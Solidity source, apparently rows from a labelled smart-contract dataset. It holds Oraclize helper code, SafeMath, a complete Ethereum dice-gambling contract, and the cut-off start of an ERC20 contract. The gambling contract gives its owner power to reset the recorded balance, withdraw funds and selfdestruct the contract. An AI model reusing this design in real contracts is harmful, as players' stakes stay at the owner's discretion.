function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract BMRoll is usingOraclize {
using SafeMath for uint256;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require(_betSize >= minBet && _playerNumber >= minNumber && _playerNumber <= maxNumber && (((((_betSize * (100-(_playerNumber.sub(1)))) / (_playerNumber.sub(1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize <= maxProfit));
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier payoutsAreActive {
require(payoutsPaused == false);
_;
}
modifier onlyOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyTreasury {
require (msg.sender == treasury);
_;
}
uint constant public maxProfitDivisor = 1000000;
uint constant public houseEdgeDivisor = 1000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
bool public gamePaused;
uint32 public gasForOraclize;
address public owner;
bool public payoutsPaused;
address public treasury;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet;
uint public totalBets = 0;
uint public totalWeiWon = 0;
uint public totalWeiWagered = 0;
uint public maxPendingPayouts;
mapping (bytes32 => address) playerAddress;
mapping (bytes32 => address) playerTempAddress;
mapping (bytes32 => bytes32) playerBetId;
mapping (bytes32 => uint) playerBetValue;
mapping (bytes32 => uint) playerTempBetValue;
mapping (bytes32 => uint) playerDieResult;
mapping (bytes32 => uint) playerNumber;
mapping (address => uint) playerPendingWithdrawals;
mapping (bytes32 => uint) playerProfit;
mapping (bytes32 => uint) playerTempReward;
event LogBet(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber);
event LogResult(bytes32 indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint ProfitValue, uint BetValue, int Status, bytes Proof);
event LogRefund(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RefundValue);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
constructor() public {
owner = msg.sender;
treasury = msg.sender;
oraclize_setNetwork(networkID_auto);
oraclize_setProof(proofType_Ledger);
ownerSetHouseEdge(980);
ownerSetMaxProfitAsPercentOfHouse(50000);
ownerSetMinBet(100000000000000000);
gasForOraclize = 235000;
oraclize_setCustomGasPrice(20000000000 wei);
}
function playerRollDice(uint rollUnder) public
payable
gameIsActive
betIsValid(msg.value, rollUnder)
{
bytes32 rngId = oraclize_newRandomDSQuery(0, 1, gasForOraclize);
playerBetId[rngId] = rngId;
playerNumber[rngId] = rollUnder;
playerBetValue[rngId] = msg.value;
playerAddress[rngId] = msg.sender;
playerProfit[rngId] = ((((msg.value * (100-(rollUnder.sub(1)))) / (rollUnder.sub(1))+msg.value))*houseEdge/houseEdgeDivisor)-msg.value;
maxPendingPayouts = maxPendingPayouts.add(playerProfit[rngId]);
if(maxPendingPayouts >= contractBalance) revert();
emit LogBet(playerBetId[rngId], playerAddress[rngId], playerBetValue[rngId].add(playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]);
}
function __callback(bytes32 myid, string result, bytes proof) public
onlyOraclize
payoutsAreActive
{
require(playerAddress[myid]!=0x0);
playerDieResult[myid] = uint(keccak256(abi.encodePacked(result))) % 100;
playerTempAddress[myid] = playerAddress[myid];
delete playerAddress[myid];
playerTempReward[myid] = playerProfit[myid];
playerProfit[myid] = 0;
maxPendingPayouts = maxPendingPayouts.sub(playerTempReward[myid]);
playerTempBetValue[myid] = playerBetValue[myid];
playerBetValue[myid] = 0;
totalBets += 1;
totalWeiWagered += playerTempBetValue[myid];
if (playerDieResult[myid] == 0 || bytes(result).length == 0 || bytes(proof).length == 0 || oraclize_randomDS_proofVerify__returnCode(myid, result, proof) != 0) {
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], 0, playerTempBetValue[myid], 3, proof);
if(!playerTempAddress[myid].send(playerTempBetValue[myid])){
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], 0, playerTempBetValue[myid], 4, proof);
playerPendingWithdrawals[playerTempAddress[myid]] = playerPendingWithdrawals[playerTempAddress[myid]].add(playerTempBetValue[myid]);
}
return;
}
if(playerDieResult[myid] < playerNumber[myid]){
contractBalance = contractBalance.sub(playerTempReward[myid]);
totalWeiWon = totalWeiWon.add(playerTempReward[myid]);
playerTempReward[myid] = playerTempReward[myid].add(playerTempBetValue[myid]);
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], playerTempBetValue[myid],1, proof);
setMaxProfit();
if(!playerTempAddress[myid].send(playerTempReward[myid])){
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], playerTempBetValue[myid], 2, proof);
playerPendingWithdrawals[playerTempAddress[myid]] = playerPendingWithdrawals[playerTempAddress[myid]].add(playerTempReward[myid]);
}
return;
}
if(playerDieResult[myid] >= playerNumber[myid]){
emit LogResult(playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], 0, playerTempBetValue[myid], 0, proof);
contractBalance = contractBalance.add((playerTempBetValue[myid]-1));
setMaxProfit();
if(!playerTempAddress[myid].send(1)){
playerPendingWithdrawals[playerTempAddress[myid]] = playerPendingWithdrawals[playerTempAddress[myid]].add(1);
}
return;
}
}
function playerWithdrawPendingTransactions() public
payoutsAreActive
returns (bool)
{
uint withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
if (msg.sender.call.value(withdrawAmount)()) {
return true;
} else {
playerPendingWithdrawals[msg.sender] = withdrawAmount;
return false;
}
}
function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) {
return playerPendingWithdrawals[addressToCheck];
}
function setMaxProfit() internal {
maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor;
}
function ()
payable public
onlyTreasury
{
contractBalance = contractBalance.add(msg.value);
setMaxProfit();
}
function ownerSetCallbackGasPrice(uint newCallbackGasPrice) public
onlyOwner
{
oraclize_setCustomGasPrice(newCallbackGasPrice);
}
function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public
onlyOwner
{
gasForOraclize = newSafeGasToOraclize;
}
function ownerUpdateContractBalance(uint newContractBalanceInWei) public
onlyOwner
{
contractBalance = newContractBalanceInWei;
}
function ownerSetHouseEdge(uint newHouseEdge) public
onlyOwner
{
houseEdge = newHouseEdge;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 50000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerTransferEther(address sendTo, uint amount) public
onlyOwner
{
contractBalance = contractBalance.sub(amount);
setMaxProfit();
if(!sendTo.send(amount)) revert();
emit LogOwnerTransfer(sendTo, amount);
}
function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public
onlyOwner
{
maxPendingPayouts = maxPendingPayouts.sub(originalPlayerProfit);
if(!sendTo.send(originalPlayerBetValue)) revert();
emit LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerPausePayouts(bool newPayoutStatus) public
onlyOwner
{
payoutsPaused = newPayoutStatus;
}
function ownerSetTreasury(address newTreasury) public
onlyOwner
{
treasury = newTreasury;
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
require(newOwner != 0);
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
selfdestruct(owner);
}
} | 1 | 3,796 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
